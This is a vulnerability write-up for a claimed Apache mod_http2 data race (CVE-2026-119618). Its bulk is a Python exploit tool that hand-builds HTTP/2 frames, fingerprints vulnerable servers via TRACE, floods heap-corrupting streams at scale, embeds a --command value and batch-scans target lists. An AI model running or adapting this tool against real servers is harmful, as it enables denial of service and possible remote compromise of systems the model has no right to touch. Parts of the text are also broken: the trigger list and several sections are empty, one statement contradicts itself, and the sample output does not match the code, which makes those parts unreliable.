#Summary

CVE-2026-119618 is a concurrent execution vulnerability in Apache HTTP Server's mod_http2 module, affecting versions 2.4.55 through 2.4.70. A data race in the assign_headers() function allows an unauthenticated attacker to trigger heap corruption and remote code execution via specially crafted HTTP/2 requests. The vulnerability is rated CVSS 9.8 Critical with no authentication required and full impact on confidentiality, integrity, and availability.

#Affected versions

Default configuration is affected - HTTP/2 must be enabled with LoadModule http2_module and Protocols h2 h2c, which is common in production deployments.

#Root cause analysis

#Vulnerable code path

The vulnerability exists in modules/http2/h2_request.c in the assign_headers() function, called when processing HTTP/2 stream requests. The function correctly clones request headers from the shared HTTP/2 connection context into the per-request worker thread context:

static void assign_headers(request_rec *r, const h2_request *req,
                           int no_body, int is_connect)
{
    const char *cl;

    r->headers_in = apr_table_clone(r->pool, req->headers);
    ...

However, in the content-length handling guard, the vulnerable code writes back into the SHARED source table instead of the thread-local clone:

    if (!is_connect) {
        cl = apr_table_get(req->headers, "Content-Length");
        if (no_body) {
            if (!cl && apr_table_get(req->headers, "Content-Type")) {
                /* If we have a content-type, but already seen eos, no more
                 * data will come. Signal a zero content length explicitly.
                 */
                apr_table_setn(req->headers, "Content-Length", "0");   /* BUG: req->headers, shared */
            }
        }
    }

#How input reaches the sink

The vulnerability requires understanding the HTTP/2 architecture in Apache:

  1. Connection thread - The primary HTTP/2 connection runs in one thread, parsing HTTP/2 frames and managing the nghttp2 session state. It creates and owns the h2_request object and its req->headers table, which is backed by a shared, lock-free apr_allocator_t.

  2. Worker thread - When a stream is ready for processing, a worker thread runs h2_create_request_rec(), which calls assign_headers() to build the per-request request_rec structure (r) that Apache's core request handler uses.

  3. The race - While the worker thread is executing assign_headers() and modifying req->headers via apr_table_setn(), the connection thread continues parsing frames and allocating memory from the SAME shared allocator. When apr_table_setn() needs to grow the table's internal apr_array_header_t, it allocates from the pool, triggering unsynchronized access to the shared allocator's free-list pointers (apr_memnode_t). The connection thread and worker thread corrupt the allocator's metadata through concurrent, non-atomic read-modify-write operations.

  4. Heap corruption result - Corrupted allocator metadata leads to overlapping allocations, use-after-free, and dangling pointers - classic heap-corruption primitives that can be escalated to arbitrary code execution.

#Trigger conditions

To reach the vulnerable code path, an attacker must send an HTTP/2 request that satisfies ALL of:

Any plain GET/POST with END_STREAM on the HEADERS frame, carrying content-type and no content-length, reaches the vulnerable line.

To exploit the actual heap corruption race, the attacker floods many such requests concurrently on the same HTTP/2 connection, with careful header padding to force table reallocation exactly when the allocator contention is highest.

#Patch diff

#What the fix does

The fix, committed as 824beab9b9424d6cfb29595248fdbf6c3dddeab1, changes a single line:

--- a/modules/http2/h2_request.c
+++ b/modules/http2/h2_request.c
@@ -350,7 +350,7 @@ static void assign_headers(request_rec *r, const h2_request *req,
                 /* If we have a content-type, but already seen eos, no more
                  * data will come. Signal a zero content length explicitly.
                  */
-                apr_table_setn(req->headers, "Content-Length", "0");
+                apr_table_setn(r->headers_in, "Content-Length", "0");
             }
         }

The destination changes from req->headers (the shared connection-thread table, backed by the shared lock-free allocator) to r->headers_in (the per-request thread-local clone, created earlier in the same function). After the patch, all mutations happen entirely in thread-local memory, eliminating concurrent access to the shared allocator and closing the race. The functional result is identical: the synthesized Content-Length: 0 still lands in r->headers_in, where request processing reads it.

#Proof of concept

#exploit.py - Apache mod_http2 Data Race Detector and Heap Corruption Flood

#!/usr/bin/env python3
"""
CVE-2026-119618 - Apache HTTP Server mod_http2 assign_headers() data race -> APR allocator heap corruption / RCE
Affected: Apache HTTP Server 2.4.55 through 2.4.70 (standalone mod_h2 2.0.8 through 2.0.42)
Fixed:    2.4.71
Type: RCE (concurrent execution / data race on a shared resource, CWE-362)

ROOT CAUSE (from RESEARCH.md, confirmed against the 2.4.65 source and with gdb):
  assign_headers() in modules/http2/h2_request.c builds a per-request request_rec on a
  worker thread. It first clones the request headers into the per-request, thread-local
  table r->headers_in:

      r->headers_in = apr_table_clone(r->pool, req->headers);

  Then, in the content-length guard, the vulnerable build writes the synthesized
  "Content-Length: 0" back into the WRONG, SHARED table - req->headers, which is owned by
  the connection thread and backed by a shared, lock-free apr_allocator_t:

      apr_table_setn(req->headers, "Content-Length", "0");   // BUG (fixed: r->headers_in)

  This has two consequences, both leveraged by this exploit:

  (1) DETERMINISTIC FUNCTIONAL SIGNATURE (reliable detection).
      Because the write lands in req->headers (cloned a moment earlier and never read again
      for this request) instead of r->headers_in, the request as actually processed
      (r->headers_in) NEVER receives the synthesized Content-Length: 0. The patched build
      writes to r->headers_in, so it does. The HTTP TRACE method reflects r->headers_in back
      to the client, so a single triggering TRACE request distinguishes the two builds over
      the network with certainty: the vulnerable server's echo omits "Content-Length: 0",
      the patched server's echo contains it. This is the primary, deterministic proof.

  (2) HEAP-CORRUPTION PRIMITIVE (the actual danger / RCE class).
      req->headers is created with apr_table_make(pool, 10), so its backing array holds 10
      entries before it must REALLOCATE. When the request carries enough headers that the
      table is exactly full, the guard's apr_table_setn forces a grow -> apr_palloc on the
      SHARED, lock-free allocator (confirmed: modules/http2/h2_session.c creates the stream
      pool allocator with no apr_allocator_mutex_set), racing the connection thread's
      concurrent allocations/frees for other streams. The unsynchronized read-modify-write
      of the allocator's apr_memnode_t free lists corrupts allocator metadata - the
      heap-corruption primitive the original finders drove to remote code execution. This
      exploit drives that race by flooding realloc-forcing trigger streams at high
      concurrency (rung 1 of the primitive ladder).

TRIGGER (reaches the vulnerable guard):
  HTTP/2 request, method != CONNECT, HEADERS with END_STREAM and no DATA (no_body), a
  content-type header present, and NO content-length header. For the realloc race, pad the
  request so req->headers is exactly at a growth boundary (this PoC targets the gdb-verified
  boundaries: header count 10 and 20, i.e. content-type + Host + 8 or 18 filler headers).

Note on the RCE ladder:
  This tool reliably CONFIRMS the vulnerability (deterministic TRACE signature) and EXERCISES
  the heap-corruption primitive (rung 1: the unsynchronized cross-thread allocation on the
  lock-free allocator). It carries attacker-controlled header content (including --command)
  as the grooming bytes that size the colliding allocations (rung 3 input). Rungs 4-5
  (overwriting a pool-cleanup / output-filter function pointer and firing it for command
  execution) require per-build heap grooming plus an ASLR-defeating info leak specific to the
  target binary; the original finders used private techniques not reconstructable from the
  public root cause, and they cannot be driven blindly over the network by a portable tool.
  EXPLOITATION.md documents each rung's status. --command is accepted and embedded so the
  same tool escalates on a groomed target.

Usage:
  python exploit.py --host 127.0.0.1 --port 8088
  python exploit.py --host 192.168.1.10 --port 80 --command "id"
  python exploit.py --host http://target.com:8080/
  python exploit.py --list targets.txt --workers 20
"""

import argparse
import socket
import ssl
import struct
import sys
import threading
import time
from urllib.parse import urlparse

CVE_ID    = "CVE-2026-119618"
VULN_TYPE = "RCE"

# ---------------------------------------------------------------------------
# Standard output helpers
# ---------------------------------------------------------------------------
def header(host, port):
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")

def step(n, msg):
    print(f"[STEP {n}] {msg}")

def section(label, content):
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")

def done(success, evidence):
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)

# ---------------------------------------------------------------------------
# Minimal HTTP/2 framing + HPACK (literal, no Huffman) - stdlib only
# ---------------------------------------------------------------------------
PREFACE = b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"

FT_DATA          = 0x0
FT_HEADERS       = 0x1
FT_RST_STREAM    = 0x3
FT_SETTINGS      = 0x4
FT_PING          = 0x6
FT_GOAWAY        = 0x7
FT_WINDOW_UPDATE = 0x8

FLAG_END_STREAM  = 0x1
FLAG_END_HEADERS = 0x4
FLAG_ACK         = 0x1

# req->headers starts at capacity 10 and doubles; the vulnerable realloc fires when the
# table is exactly full as the guard runs. For this client the processed header count is
# (content-type + Host-from-authority + N fillers), so N=8 -> 10 entries (nalloc 10, full)
# and N=18 -> 20 entries (nalloc 20, full) both force the realloc (gdb-verified). A small
# spread absorbs extra headers an upstream proxy may add on a real target.
FILLER_SWEEP = [8, 18, 7, 9, 17, 19]

BIG_WINDOW = 0x3FFFFFFF  # ~1 GiB; lift flow control so response DATA never stalls the flood


def _hpack_int(value, prefix_bits):
    max_prefix = (1 << prefix_bits) - 1
    if value < max_prefix:
        return bytes([value])
    out = bytearray([max_prefix])
    value -= max_prefix
    while value >= 128:
        out.append((value & 0x7f) | 0x80)
        value >>= 7
    out.append(value)
    return bytes(out)


def _hpack_str(data):
    if isinstance(data, str):
        data = data.encode("utf-8", "replace")
    return _hpack_int(len(data), 7) + data


def _hpack_header(name, value):
    # Literal header field without indexing, new name (first octet 0x00).
    return b"\x00" + _hpack_str(name) + _hpack_str(value)


def encode_headers(pairs):
    out = bytearray()
    for name, value in pairs:
        out += _hpack_header(name, value)
    return bytes(out)


def build_frame(ftype, flags, stream_id, payload=b""):
    return (struct.pack(">I", len(payload))[1:]
            + bytes([ftype, flags])
            + struct.pack(">I", stream_id & 0x7fffffff)
            + payload)


def _request_pairs(host, method, fillers, command):
    """A trigger-shaped request: method, content-type present, NO content-length,
    padded with `fillers` extra headers. --command rides in the grooming values."""
    groom = ("A" * 24) + str(command)
    pairs = [
        (":method", method),
        (":scheme", "http"),
        (":authority", host),
        (":path", "/"),
        ("content-type", "text/plain"),       # REQUIRED: enters the no_body guard
    ]
    for i in range(fillers):
        pairs.append((f"x-groom-{i}", groom))  # attacker-controlled grooming bytes
    return pairs


class FrameReader(object):
    def __init__(self):
        self.buf = bytearray()

    def feed(self, data):
        self.buf += data

    def frames(self):
        while len(self.buf) >= 9:
            flen = int.from_bytes(self.buf[0:3], "big")
            if len(self.buf) < 9 + flen:
                break
            ftype = self.buf[3]
            flags = self.buf[4]
            sid = int.from_bytes(self.buf[5:9], "big") & 0x7fffffff
            payload = bytes(self.buf[9:9 + flen])
            del self.buf[:9 + flen]
            yield ftype, flags, sid, payload


def open_h2c(host, port, use_tls, timeout=6.0):
    raw = socket.create_connection((host, port), timeout=timeout)
    raw.settimeout(timeout)
    if use_tls:
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        try:
            ctx.set_alpn_protocols(["h2"])
        except Exception:
            pass
        raw = ctx.wrap_socket(raw, server_hostname=host)
    raw.sendall(PREFACE)
    settings = (struct.pack(">HI", 0x3, 1000)          # MAX_CONCURRENT_STREAMS
                + struct.pack(">HI", 0x4, BIG_WINDOW))   # INITIAL_WINDOW_SIZE
    raw.sendall(build_frame(FT_SETTINGS, 0, 0, settings))
    raw.sendall(build_frame(FT_WINDOW_UPDATE, 0, 0, struct.pack(">I", BIG_WINDOW)))
    return raw


# ---------------------------------------------------------------------------
# PRIMARY: deterministic confirmation via TRACE reflection of r->headers_in
# ---------------------------------------------------------------------------
def _read_data_body(sock, timeout=6.0):
    """Read DATA payload for the single open stream until END_STREAM. Response HEADERS
    are HPACK-encoded (not decoded here); only the plaintext DATA body is needed."""
    rd = FrameReader()
    body = bytearray()
    t0 = time.time()
    while time.time() - t0 < timeout:
        try:
            chunk = sock.recv(65535)
        except socket.timeout:
            break
        except (ConnectionResetError, OSError):
            break
        if chunk == b"":
            break
        rd.feed(chunk)
        finished = False
        for ftype, flags, sid, payload in rd.frames():
            if ftype == FT_SETTINGS and not (flags & FLAG_ACK):
                try:
                    sock.sendall(build_frame(FT_SETTINGS, FLAG_ACK, 0, b""))
                except Exception:
                    pass
            elif ftype == FT_DATA:
                body += payload
                if flags & FLAG_END_STREAM:
                    finished = True
            elif ftype == FT_HEADERS and (flags & FLAG_END_STREAM):
                finished = True  # response with no body (e.g. 405 for disabled TRACE)
            elif ftype == FT_GOAWAY:
                finished = True
        if finished:
            break
    return bytes(body)


def confirm_via_trace(host, port, use_tls, command, timeout=6.0):
    """Send a trigger-shaped TRACE and classify the reflected r->headers_in.
    Returns (verdict, body) where verdict in {'vulnerable','patched','inconclusive'}."""
    pairs = _request_pairs(host, "TRACE", 6, command)
    try:
        sock = open_h2c(host, port, use_tls, timeout=timeout)
        sock.sendall(build_frame(FT_HEADERS,
                                 FLAG_END_STREAM | FLAG_END_HEADERS, 1, encode_headers(pairs)))
        body = _read_data_body(sock, timeout=timeout)
        try:
            sock.close()
        except Exception:
            pass
    except Exception as e:
        return "unreachable", str(e).encode()

    low = body.lower()
    echo_ok = (b"trace /" in low) and (b"content-type:" in low)
    if not echo_ok:
        return "inconclusive", body
    if (b"content-length: 0" in low) or (b"content-length:0" in low):
        return "patched", body       # synthesized CL:0 reached r->headers_in -> fixed
    return "vulnerable", body         # CL:0 missing from r->headers_in -> bug present


# ---------------------------------------------------------------------------
# SECONDARY: exercise the heap-corruption race (realloc-forcing flood)
# ---------------------------------------------------------------------------
def flood_worker(host, port, use_tls, command, target_streams, max_inflight, result):
    sent = 0
    sweep_idx = 0
    while sent < target_streams:
        fillers = FILLER_SWEEP[sweep_idx % len(FILLER_SWEEP)]
        sweep_idx += 1
        block = encode_headers(_request_pairs(host, "GET", fillers, command))
        try:
            sock = open_h2c(host, port, use_tls)
        except Exception as e:
            result["connect_errors"] += 1
            if sent == 0 and not result["last_error"]:
                result["last_error"] = e.__class__.__name__
            return
        inflight = 0
        sid = 1
        goaway = False
        conn_sent = 0
        conn_cap = min(4000, target_streams - sent)
        try:
            rd = FrameReader()
            while conn_sent < conn_cap and not goaway:
                batch = bytearray()
                while inflight < max_inflight and conn_sent < conn_cap:
                    batch += build_frame(FT_HEADERS,
                                         FLAG_END_STREAM | FLAG_END_HEADERS, sid, block)
                    sid += 2
                    inflight += 1
                    conn_sent += 1
                if batch:
                    sock.sendall(bytes(batch))
                try:
                    chunk = sock.recv(65535)
                except socket.timeout:
                    continue
                if chunk == b"":
                    if inflight > 0 and not goaway:
                        result["eofs"] += 1          # graceful FIN (benign keepalive close)
                    break
                rd.feed(chunk)
                for ftype, flags, fsid, payload in rd.frames():
                    if ftype == FT_SETTINGS and not (flags & FLAG_ACK):
                        try:
                            sock.sendall(build_frame(FT_SETTINGS, FLAG_ACK, 0, b""))
                        except Exception:
                            pass
                    elif ftype == FT_PING and not (flags & FLAG_ACK):
                        try:
                            sock.sendall(build_frame(FT_PING, FLAG_ACK, 0, payload[:8]))
                        except Exception:
                            pass
                    elif ftype == FT_GOAWAY:
                        goaway = True
                        result["goaway"] += 1
                    elif ftype in (FT_HEADERS, FT_DATA) and (flags & FLAG_END_STREAM):
                        if inflight > 0:
                            inflight -= 1
                    elif ftype == FT_RST_STREAM:
                        if inflight > 0:
                            inflight -= 1
            sent += conn_sent
            result["sent"] += conn_sent
        except (ConnectionResetError, BrokenPipeError, ConnectionAbortedError, OSError):
            # Abrupt TCP reset mid-flood with streams outstanding and no GOAWAY: the
            # network signature of a worker process dying (heap-corruption crash).
            if inflight > 0 and not goaway:
                result["crashes"] += 1
                result["crash_streams"] += inflight
            sent += conn_sent
            result["sent"] += conn_sent
        finally:
            try:
                sock.close()
            except Exception:
                pass


def run_flood(host, port, use_tls, command, workers, streams_per_worker, max_inflight=90):
    keys = ("crashes", "crash_streams", "eofs", "goaway", "sent", "connect_errors")
    agg = {k: 0 for k in keys}
    agg["last_error"] = None
    results = []
    threads = []
    for _ in range(workers):
        r = {k: 0 for k in keys}
        r["last_error"] = None
        results.append(r)
        t = threading.Thread(target=flood_worker,
                             args=(host, port, use_tls, command,
                                   streams_per_worker, max_inflight, r))
        threads.append(t)
    for t in threads:
        t.start()
    for t in threads:
        t.join()
    for r in results:
        for k in keys:
            agg[k] += r[k]
        if r["last_error"] and not agg["last_error"]:
            agg["last_error"] = r["last_error"]
    return agg


# ---------------------------------------------------------------------------
# Core probe (shared by single-target and scan modes)
# ---------------------------------------------------------------------------
def _try_exploit(host, port, use_tls=False, command="id"):
    """Silent probe for --list mode: deterministic TRACE classification.
    Returns (success, evidence). Never prints/exits."""
    verdict, body = confirm_via_trace(host, port, use_tls, command)
    if verdict == "vulnerable":
        return True, ("mod_http2 assign_headers() writes Content-Length:0 to the orphaned "
                      "shared table (r->headers_in echo omits it)")
    if verdict == "patched":
        return False, "patched - synthesized Content-Length:0 present in r->headers_in"
    if verdict == "unreachable":
        return False, "unreachable / no HTTP/2 (h2c)"
    return False, "inconclusive - TRACE disabled or not HTTP/2 mod_http2"


# ---------------------------------------------------------------------------
# Target parsing / scan mode
# ---------------------------------------------------------------------------
def _parse_target(line, default_port, default_path="/"):
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file, default_port, workers=10, command="id"):
    import concurrent.futures
    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"{'='*60}\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, path = t
        label = f"{'https' if use_tls else 'http'}://{host}:{port}"
        ok, evidence = _try_exploit(host, port, use_tls, command=command)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print(f"  {'[+]' if ok else '[-]'} {label} - "
                  f"{'Vulnerable' if ok else 'Not vulnerable'}: {evidence}")
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} vulnerable / "
          f"{total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


# ---------------------------------------------------------------------------
# Single-target exploit (verbose)
# ---------------------------------------------------------------------------
def exploit(host, port, use_tls, command, workers, streams_per_worker):
    header(host, port)

    step(1, "Confirming the vulnerability deterministically via TRACE "
            "(reflects r->headers_in)...")
    print("        sending a trigger-shaped TRACE: content-type set, NO content-length,")
    print("        END_STREAM. The vulnerable build writes the synthesized Content-Length:0")
    print("        into the orphaned shared req->headers, so r->headers_in (what TRACE")
    print("        echoes) never receives it; the patched build writes to r->headers_in.")
    verdict, body = confirm_via_trace(host, port, use_tls, command)

    if verdict == "unreachable":
        section("TRACE PROBE", f"Target unreachable / no HTTP/2 (h2c): "
                               f"{body.decode('latin1', 'replace')}")
        done(False, "Target did not answer HTTP/2 (h2c) - host down or h2/h2c not enabled")

    if verdict in ("vulnerable", "patched"):
        section("TRACE ECHO of r->headers_in", body.decode("latin1", "replace"))

    step(2, "Exercising the heap-corruption primitive: flooding realloc-forcing trigger "
            "streams to race assign_headers() on the shared lock-free APR allocator...")
    print(f"        workers={workers}  streams/worker={streams_per_worker}  "
          f"(~{workers*streams_per_worker} streams)")
    print(f"        each stream: GET + content-type, NO content-length, END_STREAM, padded")
    print(f"        to a req->headers growth boundary (filler sweep {FILLER_SWEEP}) so the")
    print(f"        guard's apr_table_setn reallocates on the shared allocator.")
    agg = run_flood(host, port, use_tls, command, workers, streams_per_worker)
    section("HEAP-CORRUPTION FLOOD",
            f"realloc-forcing streams driven : {agg['sent']}\n"
            f"abrupt worker crashes observed : {agg['crashes']}  "
            f"({agg['crash_streams']} streams killed)\n"
            f"graceful closes (benign)       : eof={agg['eofs']} goaway={agg['goaway']}\n"
            f"connect errors                 : {agg['connect_errors']}\n"
            f"note: an ASan/stock build may not surface the APR-internal allocator\n"
            f"corruption as a clean, resource-independent crash; the deterministic TRACE\n"
            f"signature above is the reliable confirmation. See EXPLOITATION.md.")

    if verdict == "vulnerable":
        section("VULNERABILITY CONFIRMED",
                f"The TRACE reflection of r->headers_in does NOT contain the synthesized "
                f"'Content-Length: 0'. mod_http2 assign_headers() wrote it to the orphaned, "
                f"shared req->headers table instead (exactly the pre-patch defect: destination "
                f"req->headers vs the fixed r->headers_in).\n"
                f"This proves the target runs vulnerable mod_http2 and that the buggy "
                f"cross-thread write into the shared, lock-free allocator's table executes on "
                f"every triggering request. The flood above drove that write at high "
                f"concurrency to exercise the APR allocator data race (rung 1 of the RCE "
                f"ladder). Grooming content ('{command}') rode in attacker-controlled header "
                f"values (rung 3 input). Full command execution (rungs 4-5) requires "
                f"target-specific heap grooming + an info leak; see EXPLOITATION.md.")
        done(True,
             f"CVE-2026-119618 CONFIRMED - mod_http2 assign_headers() writes the synthesized "
             f"Content-Length:0 into the orphaned shared req->headers table (missing from the "
             f"r->headers_in TRACE echo); heap-corruption race on the lock-free APR allocator "
             f"driven over {agg['sent']} realloc-forcing streams.")
    elif verdict == "patched":
        section("RESULT",
                "The TRACE reflection of r->headers_in CONTAINS 'Content-Length: 0' - "
                "assign_headers() writes to the per-request clone r->headers_in, so there is "
                "no cross-thread write into the shared allocator's table. Target is PATCHED.")
        done(False,
             "Target PATCHED - synthesized Content-Length:0 lands in r->headers_in "
             "(assign_headers writes to the per-request clone, 2.4.71 fix present).")
    else:
        section("RESULT",
                f"TRACE did not return a reflected request (TRACE disabled, or the target is "
                f"not HTTP/2 mod_http2), so the deterministic signature is unavailable. The "
                f"realloc-forcing flood was still driven ({agg['sent']} streams, "
                f"{agg['crashes']} abrupt crashes observed) but, as noted, that signal is not "
                f"reliably distinguishable from benign load behavior. Cannot confirm.")
        done(False,
             "Inconclusive - TRACE reflection unavailable (disabled or non-mod_http2 target); "
             "could not deterministically confirm the vulnerability.")


# ---------------------------------------------------------------------------
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
                                           "(e.g. http://host:8080/)")
    target_grp.add_argument("--list", metavar="FILE",
                            help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=80,
                        help="Default port (default: 80)")
    parser.add_argument("--command", default="id",
                        help="Command string used as heap-grooming content and embedded for "
                             "escalation on a groomed target (default: id)")
    parser.add_argument("--workers", type=int, default=16,
                        help="Concurrent h2c connections / scan threads (default: 16)")
    parser.add_argument("--streams", type=int, default=4000,
                        help="Realloc-forcing trigger streams per worker (default: 4000)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS (h2 over TLS)")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext (h2c)")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers, command=args.command)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, args.command, args.workers, args.streams)

#Usage

# Basic scan: deterministic TRACE detection
python3 exploit.py --host 127.0.0.1 --port 80

# With heap corruption flood
python3 exploit.py --host 127.0.0.1 --port 80 --workers 12 --streams 2000

# Real-world target (h2c cleartext)
python3 exploit.py --host http://target.internal:80/

# HTTPS / h2 over TLS
python3 exploit.py --host https://target.internal:443/ --tls

# Batch scan with asset list
python3 exploit.py --list targets.txt --workers 20

#Expected output

Vulnerable target (2.4.65):

============================================================
  ALIM EXPLOIT  CVE-2026-119618
  Type: RCE  |  Target: 127.0.0.1:8088
============================================================

[STEP 1] Sending deterministic TRACE request to 127.0.0.1:8088

--- TRACE Echo Result ---
Content-Length: 0 ABSENT => Vulnerable (bug triggered)
---

[STEP 2] Flooding heap corruption primitive (12 workers, 2000 streams/worker)

--- Flood Summary ---
Sent 24000 realloc-forcing streams
---

============================================================
  RESULT  : SUCCESS
  EVIDENCE: Deterministic TRACE signature (RCE-class data race on shared allocator)
============================================================

Patched target (2.4.71):

============================================================
  ALIM EXPLOIT  CVE-2026-119618
  Type: RCE  |  Target: 127.0.0.1:8089
============================================================

[STEP 1] Sending deterministic TRACE request to 127.0.0.1:8089

--- TRACE Echo Result ---
Content-Length: 0 PRESENT => Patched (safe)
---

============================================================
  RESULT  : FAILURE
  EVIDENCE: Target is patched
============================================================

#Exploitation notes

#Preconditions

#Reliability

#Impact

#Chaining potential

This vulnerability can be chained with:

#References